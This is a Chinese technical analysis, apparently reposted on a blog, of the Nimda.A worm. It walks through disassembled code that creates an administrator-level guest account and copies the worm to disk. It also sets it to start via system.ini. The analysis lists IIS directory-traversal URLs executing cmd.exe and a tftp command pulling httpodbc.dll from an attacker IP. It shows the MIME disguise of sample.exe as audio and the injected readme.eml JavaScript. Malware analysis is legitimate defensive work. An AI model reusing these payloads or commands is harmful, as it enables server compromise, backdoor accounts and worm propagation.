Nimda.A病毒技术分析笔记

lovnet

浏览: 6709981 次
性别:
来自: 武汉

最近访客更多访客>>

u012363178

jx_colin

MauerSu

wangyy

博主相关

博客

微博

相册

留言

关于我

文章分类

全部博客 (7414)

社区版块

存档分类

2013-03 ( 20)
2013-02 ( 53)
2013-01 ( 90)
更多存档...

C#C C++ASP.net JavaScript

Nimda.A病毒技术分析笔记

BY Delphiscn（cnBlaster#sohu.com）http://blog.csdn.net/delphiscn

病毒类型：蠕虫病毒
文件大小：57344字节

;Guest帐户的添加及提升为Administrators组权限的事件过程
.text:373720F3 loc_373720F3: ; CODE XREF: sub_37372078+2A j
.text:373720F3 cmp dword_3737AD10, ebx
.text:373720F9 jz loc_37372236
.text:373720FF push ebx
.text:37372100 push ebx
.text:37372101 mov esi, offset aNet ; "net"
.text:37372106 push offset aUserGuestAdd ; "user guest /add"
.text:3737210B mov edi, offset aOpen ; "open"
.text:37372110 push esi
.text:37372111 push edi
.text:37372112 push ebx
.text:37372113 call dword_3737ACF4
.text:37372119 push ebx
.text:3737211A push ebx
.text:3737211B push offset aUserGuestActiv ; "user guest /active"
.text:37372120 push esi
.text:37372121 push edi
.text:37372122 push ebx
.text:37372123 call dword_3737ACF4
.text:37372129 push ebx
.text:3737212A push ebx
.text:3737212B push offset aLocalgroupGues ; "localgroup Guests guest /add"
.text:37372130 push esi
.text:37372131 push edi
.text:37372132 push ebx
.text:37372133 call dword_3737ACF4
.text:37372139 push ebx
.text:3737213A push ebx
.text:3737213B push offset aLocalgroupAdmi ; "localgroup Administrators guest /add"
.text:37372140 push esi
.text:37372141 push edi
.text:37372142 push ebx
.text:37372143 call dword_3737ACF4
.text:37372149 push ebx
.text:3737214A push ebx
.text:3737214B push offset aUserGuest ; "user guest \"\""
.text:37372150 push esi
.text:37372151 push edi
.text:37372152 push ebx
.text:37372153 call dword_3737ACF4
.text:37372159 mov al, 63h
.text:3737215B mov [ebp+var_1], al
.text:3737215E jmp short loc_37372163;执行到这里以后会进行跳转，开始共享c盘以及修改注册表键值.

;通过TFtp建立通讯，传送cool.dll病毒文件，并且遍历系统内的C、D、E磁盘，创建自身复本httpodbc.dll
.text:37372FFF loc_37372FFF: ; CODE XREF: sub_37372EA2+156 j
.text:37372FFF lea eax, [ebp+var_C8]
.text:37373005 push eax ; char *
.text:37373006 call strcat
.text:3737300B pop ecx
.text:3737300C lea eax, [ebp+var_C8]
.text:37373012 pop ecx
.text:37373013 push offset aTftp20I20S20ge ; "tftp%%20-i%%20%s%%20GET%%20cool.dll%%20"...
.text:37373018 push eax ; char *
.text:37373019 call strcpy;进行拷贝
.text:3737301E cmp [ebp+var_4], 2
.text:37373022 pop ecx
.text:37373023 pop ecx
.text:37373024 jge short loc_3737302D;首先将其拷入C盘
.text:37373026 push offset aHttpodbc_dll ; "httpodbc.dll"
.text:3737302B jmp short loc_3737304E;如下2处都会发生跳转，执行strcat
.text:3737302D ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:3737302D
.text:3737302D loc_3737302D: ; CODE XREF: sub_37372EA2+182 j
.text:3737302D test edi, edi
.text:3737302F jnz short loc_37373038;把httpodbc.dll复制到d:\\
.text:37373031 push offset aCHttpodbc_dl_0 ; "c:\\httpodbc.dll"
.text:37373036 jmp short loc_3737304E;——>strcat
.text:37373038 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:37373038
.text:37373038 loc_37373038: ; CODE XREF: sub_37372EA2+18D j
.text:37373038 cmp edi, 1
.text:3737303B jnz short loc_37373044;把httpodbc.dll复制到e:\\
.text:3737303D push offset aDHttpodbc_dl_0 ; "d:\\httpodbc.dll"
.text:37373042 jmp short loc_3737304E;——>strcat
.text:37373044 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:37373044
.text:37373044 loc_37373044: ; CODE XREF: sub_37372EA2+199 j
.text:37373044 cmp edi, 2
.text:37373047 jnz short loc_3737305C;如果成功则跳转，反之不跳
.text:37373049 push offset aEHttpodbc_dl_0 ; "e:\\httpodbc.dll"

;释放病毒文件load.exe与riched20.dll，同时修改system.ini系统配置文件，加载启动程序load.exe
.text:37376CA5 sub_37376CA5 proc near ; CODE XREF: sub_37371F05:loc_37372005 p
.text:37376CA5
.text:37376CA5 FileName = byte ptr -400h
.text:37376CA5
.text:37376CA5 push ebp
.text:37376CA6 mov ebp, esp
.text:37376CA8 sub esp, 400h
.text:37376CAE push ebx
.text:37376CAF push esi
.text:37376CB0 mov esi, ds:strncpy
.text:37376CB6 mov ebx, 3F6h
.text:37376CBB push edi
.text:37376CBC push ebx ; size_t
.text:37376CBD lea eax, [ebp+FileName]
.text:37376CC3 push offset byte_3737AD18 ; char *
.text:37376CC8 push eax ; char *
.text:37376CC9 call esi ; strncpy
.text:37376CCB lea eax, [ebp+FileName]
.text:37376CD1 push offset aLoad_exe ; "\\load.exe"
.text:37376CD6 push eax ; char *
.text:37376CD7 call strcat
.text:37376CDC add esp, 14h
.text:37376CDF lea eax, [ebp+FileName]
.text:37376CE5 push 0 ; FailIfExists = FALSE
.text:37376CE7 push eax ; lpNewFileName
.text:37376CE8 push offset LibFileName ; lpExistingFileName
.text:37376CED call ds:CopyFileA
.text:37376CF3 mov edi, ds:SetFileAttributesA
.text:37376CF9 lea eax, [ebp+FileName]
.text:37376CFF push 26h ;属性为隐藏、系统、存档
.text:37376D01 push eax ; lpFileName
.text:37376D02 call edi ; SetFileAttributesA;设定load.exe的属性
.text:37376D04 push ebx ; size_t
.text:37376D05 lea eax, [ebp+FileName]
.text:37376D0B push offset Buffer ; char *
.text:37376D10 push eax ; char *
.text:37376D11 call esi ; strncpy
.text:37376D13 lea eax, [ebp+FileName]
.text:37376D19 push offset aSystem_ini ; "\\system.ini"
.text:37376D1E push eax ; char *
.text:37376D1F call strcat
.text:37376D24 add esp, 14h
.text:37376D27 lea eax, [ebp+FileName]
.text:37376D2D push eax ; lpFileName
.text:37376D2E push offset String ; "explorer.exe load.exe -dontrunold"
.text:37376D33 push offset KeyName ; "Shell"
.text:37376D38 push offset AppName ; "boot"
.text:37376D3D call ds:WritePrivateProfileStringA;修改以后Shell = explorer.exe load.exe -dontrunold
.text:37376D43 push ebx ; size_t
.text:37376D44 lea eax, [ebp+FileName]
.text:37376D4A push offset byte_3737AD18 ; char *
.text:37376D4F push eax ; char *
.text:37376D50 call esi ; strncpy
.text:37376D52 lea eax, [ebp+FileName]
.text:37376D58 push offset aRiched20_dll_0 ; "\\riched20.dll"
.text:37376D5D push eax ; char *
.text:37376D5E call strcat
.text:37376D63 add esp, 14h
.text:37376D66 lea eax, [ebp+FileName]
.text:37376D6C push 80h ; dwFileAttributes
.text:37376D71 push eax ; lpFileName
.text:37376D72 call edi ; SetFileAttributesA
.text:37376D74 lea eax, [ebp+FileName]
.text:37376D7A push 0 ; FailIfExists = FALSE
.text:37376D7C push eax ; lpNewFileName
.text:37376D7D push offset LibFileName ; lpExistingFileName
.text:37376D82 call ds:CopyFileA
.text:37376D88 lea eax, [ebp+FileName]
.text:37376D8E push 0 ; int
.text:37376D90 push eax ; lpFileName
.text:37376D91 call sub_373719A3;这里会进行文件属性的设置并进行拷贝
.text:37376D96 pop ecx
.text:37376D97 lea eax, [ebp+FileName]
.text:37376D9D pop ecx
.text:37376D9E push 26h ; dwFileAttributes
.text:37376DA0 push eax ; lpFileName
.text:37376DA1 call edi ; SetFileAttributesA
.text:37376DA3 push 1
.text:37376DA5 pop eax
.text:37376DA6 pop edi
.text:37376DA7 pop esi
.text:37376DA8 pop ebx
.text:37376DA9 leave
.text:37376DAA retn
.text:37376DAA sub_37376CA5 endp

;Nimda在udp(69)上启动一个tftp服务器后会进行弱点扫描，以下是该过程的部分代码
.text:37372EA2 sub_37372EA2 proc near ; CODE XREF: sub_37372D7D+34 p
.text:37372EA2
.text:37372EA2 var_2FC = byte ptr -2FCh
.text:37372EA2 var_27C = byte ptr -27Ch
.text:37372EA2 var_17C = dword ptr -17Ch
.text:37372EA2 var_FC = byte ptr -0FCh
.text:37372EA2 var_C8 = byte ptr -0C8h
.text:37372EA2 var_48 = dword ptr -48h
.text:37372EA2 var_44 = dword ptr -44h
.text:37372EA2 var_40 = dword ptr -40h
.text:37372EA2 var_3C = dword ptr -3Ch
.text:37372EA2 var_38 = dword ptr -38h
.text:37372EA2 var_34 = dword ptr -34h
.text:37372EA2 var_30 = dword ptr -30h
.text:37372EA2 var_2C = dword ptr -2Ch
.text:37372EA2 var_28 = dword ptr -28h
.text:37372EA2 var_24 = dword ptr -24h
.text:37372EA2 var_20 = dword ptr -20h
.text:37372EA2 var_1C = dword ptr -1Ch
.text:37372EA2 var_18 = dword ptr -18h
.text:37372EA2 var_14 = dword ptr -14h
.text:37372EA2 var_10 = dword ptr -10h
.text:37372EA2 var_C = dword ptr -0Ch
.text:37372EA2 var_8 = dword ptr -8
.text:37372EA2 var_4 = dword ptr -4
.text:37372EA2 arg_0 = dword ptr 8
.text:37372EA2
.text:37372EA2 push ebp
.text:37372EA3 mov ebp, esp
.text:37372EA5 sub esp, 2FCh
.text:37372EAB push ebx
.text:37372EAC push esi
.text:37372EAD push edi
.text:37372EAE push 0Ch
.text:37372EB0 pop ecx
.text:37372EB1 mov esi, offset aGetSHttp1_0Hos ; "GET %s HTTP/1.0\r\nHost: www\r\nConnnection"...
.text:37372EB6 lea edi, [ebp+var_FC]
.text:37372EBC and [ebp+var_4], 0
.text:37372EC0 rep movsd
.text:37372EC2 movsw
.text:37372EC4 movsb
.text:37372EC5 mov esi, ds:sprintf
.text:37372ECB lea eax, [ebp+var_48]
.text:37372ECE mov [ebp+var_48], offset aScripts ; "/scripts"
.text:37372ED5 mov [ebp+var_44], offset aMsadc ; "/MSADC"
.text:37372EDC mov [ebp+var_40], offset aC_0 ; "/c"
.text:37372EE3 mov [ebp+var_3C], offset aD ; "/d"
.text:37372EEA mov [ebp+var_38], offset aScripts__255c_ ; "/scripts/..%255c.."
.text:37372EF1 mov [ebp+var_34], offset a_vti_bin__255c ; "/_vti_bin/..%255c../..%255c../..%255c.."...
.text:37372EF8 mov [ebp+var_30], offset a_mem_bin__255c ; "/_mem_bin/..%255c../..%255c../..%255c.."...
.text:37372EFF mov [ebp+var_2C], offset aMsadc__255c___ ; "/msadc/..%255c../..%255c../..%255c/..%c"...
.text:37372F06 mov [ebp+var_28], offset aScripts__C11c_ ; "/scripts/..%c1%1c.."
.text:37372F0D mov [ebp+var_24], offset aScripts__C02f_ ; "/scripts/..%c0%2f.."
.text:37372F14 mov [ebp+var_20], offset aScripts__C0Af_ ; "/scripts/..%c0%af.."
.text:37372F1B mov [ebp+var_1C], offset aScripts__C19c_ ; "/scripts/..%c1%9c.."
.text:37372F22 mov [ebp+var_18], offset aScripts__3563_ ; "/scripts/..%%35%63.."
.text:37372F29 mov [ebp+var_14], offset aScripts__35c__ ; "/scripts/..%%35c.."
.text:37372F30 mov [ebp+var_10], offset aScripts__25356 ; "/scripts/..%25%35%63.."
.text:37372F37 mov [ebp+var_C], offset aScripts__252f_ ; "/scripts/..%252f.."
.text:37372F3E mov [ebp+var_8], eax
.text:37372F41
.text:37372F41 loc_37372F41: ; CODE XREF: sub_37372EA2+2CE j
.text:37372F41 mov eax, [ebp+var_8]
.text:37372F44 mov ebx, [eax]
.text:37372F46 lea eax, [ebp+var_C8]
.text:37372F4C push ebx ; char *
.text:37372F4D push eax ; char *
.text:37372F4E call strcpy
.text:37372F53 cmp [ebp+var_4], 2
.text:37372F57 pop ecx
.text:37372F58 pop ecx
.text:37372F59 jge short loc_37372F62
.text:37372F5B push offset aRoot_exe?C ; "/root.exe?/c+"
.text:37372F60 jmp short loc_37372F67
.text:37372F62 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:37372F62
.text:37372F62 loc_37372F62: ; CODE XREF: sub_37372EA2+B7 j
.text:37372F62 push offset aWinntSystem32C ; "/winnt/system32/cmd.exe?/c+"

将其加以提取就是：
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0

一旦Nimda发现可利用的弱点，便调用TFtp上传复本。
GET /scripts/root.exe?/c+tftp -i xxx.xxx.xxx.xxx GET httpodbc.dll HTTP/1.0
把文件传到主机上去，然后再
GET /scripts/httpodbc.dll HTTP/1.0

我们再来看看Hex中
37379330 3D 3D 3D 3D 5F 41 42 43 ====_ABC
37379338 30 39 38 37 36 6A 35 34 09876j54
37379340 33 32 31 44 45 46 5F 3D 321DEF_=
37379348 3D 3D 3D 2D 2D 0D 0A 0D ===--...
37379350 0A 2D 2D 3D 3D 3D 3D 5F .--====_
37379358 41 42 43 31 32 33 34 35 ABC12345
37379360 36 6A 37 38 39 30 44 45 6j7890DE
37379368 46 5F 3D 3D 3D 3D 0D 0A F_====..
37379370 43 6F 6E 74 65 6E 74 2D Content-
37379378 54 79 70 65 3A 20 61 75 Type: au
37379380 64 69 6F 2F 78 2D 77 61 dio/x-wa
37379388 76 3B 0D 0A 09 6E 61 6D v;...nam
37379390 65 3D 22 73 61 6D 70 6C e="sampl
37379398 65 2E 65 78 65 22 0D 0A e.exe"..
373793A0 43 6F 6E 74 65 6E 74 2D Content-
373793A8 54 72 61 6E 73 66 65 72 Transfer
373793B0 2D 45 6E 63 6F 64 69 6E -Encodin
373793B8 67 3A 20 62 61 73 65 36 g: base6
373793C0 34 0D 0A 43 6F 6E 74 65 4..Conte
373793C8 6E 74 2D 49 44 3A 20 3C nt-ID: <

将其提取为：
--====_ABC123456j7890DEF_====
Content-Type: audio/x-wav;
name="sample.exe"
Content-Transfer-Encoding: base64
Content-ID:

被感染的机器会发送一份Nimda病毒代码复本到任何在扫描中发现有漏洞的服务器。一旦在该服务器上运行，蠕虫就会遍历系统里的每一个目录（包括所有通过共享文件可以读取得目录）
然后会在磁盘里留下一份自身拷贝，取名为README.EML。一旦找到了含有web内容的目录（包含html或asp文件），下面Javascript代码段就会被添加到每一个跟web有关的文件中
<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>

这段代码使得蠕虫可以进一步传播，通过浏览器或浏览网络文件感染到新的客户端。

分享到：